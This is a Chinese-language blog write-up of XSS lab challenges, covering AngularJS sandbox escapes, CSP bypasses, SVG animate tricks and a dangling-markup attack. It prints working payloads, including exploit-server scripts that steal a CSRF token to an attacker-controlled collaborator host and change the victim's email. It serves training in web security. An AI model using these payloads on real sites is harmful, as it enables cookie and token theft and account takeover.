- ng-controller="vulnCtrl":AngularJS 指令,将该标签与 vulnCtrl 控制器绑定,继承其 $scope 作用域
- class="ng-scope ng-binding":AngularJS 渲染后自动添加的类名,ng-scope 表示该元素拥有独立作用域,ng-binding 表示该元素绑定了数据
- 标签内的文本内容:展示最终渲染结果,其中的转义脚本会以纯文本形式显示(不会被浏览器解析为可执行脚本)
- 整体效果:显示 "0 search results for <script>alert(123)</script>",但脚本不会执行,因为转义后的实体不会被浏览器解析为 HTML/JS 代码 -->
<h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for &lt;script&gt;alert(123)&lt;/script&gt;</h1>
----------------------
$scope.query = {}:创建了一个空对象 query。
var key = 'search':key 字符串设为 "search"
$scope.query[key] = 'abcd1234':将字符串 'abcd1234' 赋值给 query.search
$scope.value = $parse(key)($scope.query):$parse 是 AngularJS 的服务,用来把字符串解析成表达式函数。这里调用 $parse('search')($scope.query),等价于执行 $scope.query.search 表达式,$parse(abcd1234) 会直接把字符串 abcd1234 解析成 AngularJS 表达式并执行。

也就是说我们输入的表达式会直接被当成 AngularJS 表达式执行,但是根据AngularJS 沙盒机制,这一题没法用像AngularJS 表达式中带有尖括号和双引号的 DOM XSS HTML 编码这样的方法直接用字符串写代码执行,需要用不通过字符串逃逸 AngularJS 沙盒的方式通关 payload

https://题目URL/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

通关。对于payload的解释 一、Payload 整体拆分 首先还原 URL 中的编码字符:%3d 是等号 = 的 URL 编码,还原后完整的 URL 参数部分为:

?search=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

我们可以将其拆分为 3 个核心部分,按执行逻辑依次解析: 1.第一部分:search=1 这是一个无实际攻击作用的占位参数,主要目的有两个:

  • 满足目标 URL 的基本业务参数格式(避免因缺少必要参数被后端直接拦截,无法进入前端 AngularJS 解析流程);
  • 作为后续恶意参数的分隔起始,让 AngularJS 能够正常识别后续的表达式内容,无实际攻击逻辑。 2.第二部分:toString().constructor.prototype.charAt=[].join 这是原型链污染步骤,也是为后续恶意代码执行铺路的关键准备工作,核心是「替换内置方法,绕过语法限制」:
  • 核心逻辑:修改 String 原型对象上的 charAt 方法,将其替换为数组的 join 方法。
  • 逐点通俗解释:
    • toString():任意数据类型调用该方法都会返回对应的字符串形式,这里是 AngularJS 表达式执行环境中默认可调用的方法,用于获取一个字符串实例。
    • constructor:通过字符串实例的 constructor 属性,获取它的构造函数 —— 也就是 String(前端内置的字符串构造函数)。
    • prototype:访问 String 的原型对象(所有字符串实例都会继承原型上的方法和属性,charAt 就是 String 原型上的内置方法,用于获取字符串指定位置的字符)。
    • charAt=[].join:将 String.prototype.charAt 方法直接替换为 [](空数组)的 join 方法(join 方法默认将数组元素拼接为字符串,无参数时返回空字符串)。
  • 为什么要做这个替换? AngularJS 的表达式解析器有一些基础语法限制,直接执行后续恶意代码可能会触发语法错误导致执行失败。替换 charAt 方法后,后续代码执行过程中如果调用到 charAt,会实际执行 join 方法,从而绕过这些限制,让恶意表达式能够顺利执行。 3.第三部分:;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 这是整个 Payload 的核心攻击逻辑,利用 AngularJS 过滤器的特性执行恶意代码,最终实现 XSS,我们再拆分解析:
  • 先拆分核心子部分:;[1]|orderBy:toString().constructor.fromCharCode(...)=1
    1. ;[1]
      • ; 是 JavaScript 中的语句分隔符,用于分隔前一个原型链污染的语句和当前的攻击语句。
      • [1] 构造了一个只有一个元素的简单数组,这个数组本身无实际意义,核心作用是「触发后续的 orderBy 过滤器」—— 因为 orderBy 是 AngularJS 的排序过滤器,仅对数组类型的数据生效,构造 [1] 就是为了满足 orderBy 的使用条件,让过滤器能够正常执行后续表达式。
    2. |orderBy:
      • | 是 AngularJS 中的「管道符」,用于连接数据和过滤器,作用是将左侧的数据(这里是 [1] 数组)传入右侧的过滤器进行处理。
      • orderBy 是 AngularJS 内置的排序过滤器,原本的作用是对数组按照指定表达式进行排序。
      • 关键漏洞点:早期 AngularJS 1.x 版本中,orderBy 过滤器会直接执行其后跟随的表达式,且未对表达式执行做严格的沙箱限制(这是核心漏洞,如 CVE-2016-0636 等),攻击者正是利用这一点,将恶意代码写入 orderBy 后,让 AngularJS 自动执行。
    3. toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
      • 这部分的核心是「构造恶意 JavaScript 代码字符串」,依赖 String.fromCharCode() 这个内置静态方法。
      • 重复利用 toString().constructor:和第二部分一样,最终获取到 String 构造函数。
      • fromCharCode(...)String 的静态方法,作用是将传入的一系列 Unicode 编码值,转换为对应的字符串(每个数字对应一个 ASCII 字符 / Unicode 字符)。
      • 解码对应关系(关键):
Unicode 编码对应字符
120x
61=
97a
108l
101e
114r
116t
40(
491
41)
- 最终拼接结果:`x=alert(1)`。
4. `=1`:
- 这是一个辅助执行的赋值语句,将前面构造的 `x=alert(1)` 表达式最终赋值为 `1`。
- 作用:在 AngularJS 解析执行这个表达式时,赋值语句会先执行右侧的 `alert(1)`(这是 JavaScript 的执行特性),从而触发弹窗,实现 XSS 攻击的最终效果。

二、核心攻击流程总结

  1. 铺垫:通过原型链污染替换 String.prototype.charAt 方法,绕过 AngularJS 表达式解析的语法限制;
  2. 触发:构造数组 [1] 触发 orderBy 过滤器,利用过滤器的表达式执行漏洞;
  3. 构造:通过 String.fromCharCode() 将 Unicode 编码转为恶意代码 x=alert(1)
  4. 执行:通过赋值语句触发 alert(1) 执行,完成 XSS 攻击 三、关键补充说明
  5. 该 Payload 仅对早期 AngularJS 1.x 版本(存在沙箱绕过 / 表达式注入漏洞)有效,新版本 AngularJS 已修复该类漏洞,Angular 2+ 版本(彻底重构)无此问题;
  6. 攻击的核心是「AngularJS 执行了外部传入的恶意表达式」,而非后端漏洞,属于前端 XSS 攻击的一种特殊场景;
  7. alert(1) 只是验证漏洞存在的演示,实际攻击中,攻击者可替换为窃取用户 Cookie、伪造操作等恶意代码。

第二十六关#

利用 AngularJS 沙箱逃逸和 CSP 实现反射型 XSS 攻击

这次又有了Go to exploit server,跟第六关和第十四关联系一下稍微。搜索框开始攻击,F12查看代码,发现

<body ng-app ng-csp class="ng-scope">

并且通过网络发现搜索是是GET请求,还可以看到

content-security-policy
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'

可见使用了 AngularJS ,并且启用了 CSP (所有资源只能从本站加载,只能加载本站域名上的 JS 文件,不能执行内联 <script> 标签里的代码,也不能用 eval() 或 Function()) 搜索框输入{{7*7}}发现返回了49,哟SSTI,存在AngularJS 模板注入,此时开始尝试逃逸沙盒。

?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x

出现弹窗 解释 1.核心结构:注入恶意 HTML 元素 search= 后面是一个注入的 <input> 标签,这是攻击的载体:

  • <input id=x>:创建一个输入框,给它设置 id=x(后续通过锚点 #x 触发焦点)。
  • ng-focus=...:AngularJS 的事件指令,表示 “当输入框获得焦点时,执行后面的表达式”。 2.ng-focus 里的攻击逻辑 ng-focus 后面是恶意 AngularJS 表达式,利用 AngularJS 漏洞执行代码:
  • $event.composedPath()
    • $event 是 AngularJS 事件对象(这里对应 focus 事件);
    • composedPath() 是浏览器原生方法,返回事件传播路径的元素数组。
    • 作用:生成一个数组(因为 orderBy 过滤器只对数组生效),为触发 orderBy 做准备。
  • |orderBy:'(z=alert)(document.cookie)'
    • | 是 AngularJS 的管道符,把前面的数组传给 orderBy 过滤器;
    • orderBy 是 AngularJS 排序过滤器,但早期版本会执行后面的表达式(漏洞点);
    • (z=alert)(document.cookie)
      • 先把 alert 赋值给变量 z(规避语法限制);
      • 再调用 z(document.cookie),即执行 alert(document.cookie)(弹出当前页面的 Cookie)。 3.末尾 #x 的作用 URL 末尾的 #x 是页面锚点,页面加载后会自动定位到 id=x 的输入框,触发 ng-focus 事件(无需用户手动点击输入框,自动执行恶意代码)。 但是本题需要我们在服务器构造payload发送给目标,也就是我们需要构造一个页面发送给目标,当目标点击链接后会自动跳转到漏洞页面,并执行我们构造的payload
<script>
location='题目URL/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

去Go to exploit server,store然后deliver to victim,成功过关

第二十七关#

反射型 XSS 攻击,事件处理程序和href属性均被阻止

搜索框,开始攻击,发现”Tag is not allowed”,bp爆破,找出白名单标签a,animate,image,svg,title。然后测试可用的事件函数,发现所有事件被阻止,构造payload

题目URL/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

成功解决 解码

<svg>
<a>
<animate attributeName="href" values="javascript:alert(1)" />
<text x="20" y="20">点击我</text>
</a>
</svg>

SVG 提供了一个可插入其他元素的容器,<a> 标签用于定义可点击区域,配合 href 属性可以指定点击后的行为。<animate>定义动画效果,其属性 attributeName="href"values="javascript:alert(1)" 分别用来指定动画作用的属性为 href 和设置动画的值为 javascript:alert(1),即点击时执行 JavaScript 脚本。<text> 标签在 SVG 中显示文本,提供用户可点击的文本提示

第二十八关#

JavaScript URL 中部分字符被屏蔽的情况下的反射型 XSS 攻击

没有搜索框,去评论区。F12查看源码发现

<a href="javascript:fetch('/analytics',{method:'post',body:'/post#3fpostId%3d2'}).finally(()=>window.location='/')">Back to Blog</a>

分析

<!--
功能说明:
1. 定义一个显示为"Back to Blog"的超链接,点击后先执行内嵌JS逻辑,再跳转首页
2. 核心逻辑:通过javascript:伪协议调用fetch发送POST请求到/analytics接口,请求体为"/post#3fpostId%3d2"
3. finally()方法保证无论请求成功/失败,都会跳转到当前域名的首页(/)
安全隐患(重点警告):
4. 使用javascript:伪协议,是XSS(跨站脚本攻击)的典型高危场景
5. 若请求体或脚本内容来自用户输入且未验证,攻击者可注入恶意代码窃取Cookie、伪造用户操作
6. 可绕过部分前端安全防护,且执行过程对用户隐蔽,攻击成功率高
优化建议:
7. 优先采用后端接口重定向(无前端脚本风险)
8. 若需前端实现,应分离HTML结构与JS逻辑,使用事件绑定替代javascript:伪协议
9. 配置CSP内容安全策略,从根源禁止内联脚本和javascript:伪协议执行
-->
<a href="javascript:fetch('/analytics',{method:'post',body:'/post#3fpostId%3d2'}).finally(()=>window.location='/')">Back to Blog</a>

也就是说当点击 Back to Blog 时会执行JS代码,而url参数post是我们的可控参数,可以在此构造payload。经过测试发现 () ,/ ,空格 等被过滤,无法直接调用函数,需要间接调用,通过异常触发或类型转换触发函数

题目URL/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

成功解决 解码之后

?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
  1. '},:用于闭合前面被注入点的原有 JavaScript 代码结构(比如原有代码是拼接 URL 参数postId到一个对象 / 字符串中,'} 闭合原有字符串和对象,, 用于分隔表达式);
  2. x = x => { ... }:定义一个箭头函数,赋值给变量x
  3. /**/:JavaScript 注释,仅用于分隔代码,不影响执行,目的是绕过部分简单的关键字过滤(比如过滤onerror=alert连写);
  4. throw onerror = alert, 1337:核心执行语句,利用逗号运算符throw 语句的特性;
  5. toString = x:将变量x(箭头函数)赋值给Object.prototype.toString(或全局toString,取决于注入环境);
  6. window + '':触发类型转换,强制调用window对象的toString()方法;
  7. {x: ':用于补齐语法,掩盖注入痕迹,使后续原有代码不报错,保证整体脚本可执行。

第二十九关#

反射型 XSS 攻击受到非常严格的 CSP 保护,但仍存在悬空标记攻击

这一关其实有点没懂,先按照思路理顺一遍 可用于借鉴的视频和文章

https://www.youtube.com/watch?v=hiHN2iTF9iM
https://medium.com/@hackllego/reflected-xss-protected-by-very-strict-csp-with-dangling-markup-attack-port-swigger-xss-lab-e8811c2e476d
https://blog.csdn.net/2301_79933930/article/details/150068762

又有了go to exploit server,先使用给定的账号密码my account登陆,登陆之后发现email可以用来输入做修改,可做注入点。尝试闭合<input>和<form>标签,尝试修改表单并提交新的表单,通过这种方式窃取令牌

/my-account?email="></form><form class="login-form" name="evil-form" action="https://BURP-COLLABORATOR-SUBDOMAIN/token" method="GET"><button class="button" type="submit"> Click Me </button>

将bp获取的payload替换上,enter之后点击Click Me,bp获得返回信息,可得到csrf=MhChaa9CqU8w6BVRGGVu0quRS83CtFZ7,成功窃取到目标的令牌。 抓包,先修改email为hacker@evil-user.net,右键单击该请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”(可以一键生成可运行的 HTML 表单,比较方便)。弹出窗口会显示该请求及其生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为之前从受害者那里窃取的令牌。 然后将HTML复制到body区域,就可以了

  • 这是一个思路,不过我最初在顺的时候没有成功,在最后CSRF HTML那里出了点差错,后边修正过来了 这里再借鉴别的博客的一个内容
<body>
<script>
// Define the URLs for the lab environment and the exploit server.
const academyFrontend = "目标URL";
const exploitServer = "exploit页面URL/exploit";
// 从url中读取csrf token
const url = new URL(location);
const csrf = url.searchParams.get('csrf');
// Check if a CSRF token was found in the URL.
if (csrf) {
// If a CSRF token is present, create dynamic form elements to perform the attack.动态创建表单
const form = document.createElement('form');
const email = document.createElement('input');
const token = document.createElement('input');
// Set the name and value of the CSRF token input to utilize the extracted token for bypassing security measures.
token.name = 'csrf';
token.value = csrf;
// Configure the new email address intended to replace the user's current email.
email.name = 'email';
email.value = 'hacker@evil-user.net';
// Set the form attributes, append the form to the document, and configure it to automatically submit.设置表单并自动提交
form.method = 'post';
form.action = `${academyFrontend}my-account/change-email`;
form.append(email);
form.append(token);
document.documentElement.append(form);
form.submit();
// If no CSRF token is present, redirect the browser to a crafted URL that embeds a clickable button designed to expose or generate a CSRF token by making the user trigger a GET request
} else {//如果没有csrf token 先获得
location = `${academyFrontend}my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`;
}
</script>
</body>

上述内容传到body,deliver exploit to victim就可以成功解决

第三十关#

受 CSP 保护的反射型 XSS,以及 CSP 旁路攻击

这一关比上一关简略不少,搜索框,直接攻击,发现是GET请求方式,F12查看网络,?search=的那一条,标头里看到

content-security-policy
default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

这一条CSP的整体约束较为严格:通过限制所有资源仅能从同源加载,最大限度阻断外部恶意资源(如 XSS 攻击注入的恶意脚本、恶意样式)的执行;通过 report-uri 收集违规行为日志,帮助开发者优化 CSP 配置(避免合法功能被误拦),同时监控潜在的安全攻击尝试。这样几乎封死了跨域和内联 XSS,只能从同源 JS 漏洞或 CSP 注入下手绕过,再回看这一条CSP,可以发现token 参数被直接拼接到 CSP 头部里,利用这一点构造payload绕过CSP限制

?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

成功解决 解码之后是

?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

前面url部分就是典型的XSS攻击,;后面就是CSP指令。

  • script-src-elem 是 CSP(内容安全策略)中专门用于控制「外部加载的脚本元素」的指令,仅针对 HTML 中带有 src 属性的 <script> 标签(即外部脚本,例如 <script src="https://example.com/script.js"></script>),负责约束这类脚本的加载来源和执行权限
  • 'unsafe-inline' 是 CSP 中的内置关键字(必须用单引号包裹),核心含义是允许浏览器执行「内联脚本」 所以这两条指令组合在一起就是仅允许浏览器加载并执行「带有 src 属性的外部脚本」(无额外域名限制时,默认结合兜底规则),同时明确允许执行页面中的所有内联脚本(无 src 属性的 <script> 块、事件处理器等)
XSS靶场wp
https://fuwari.vercel.app/posts/xss靶场/
作者
BIG熙
发布于
2026-01-10
许可协议
CC BY-NC-SA 4.0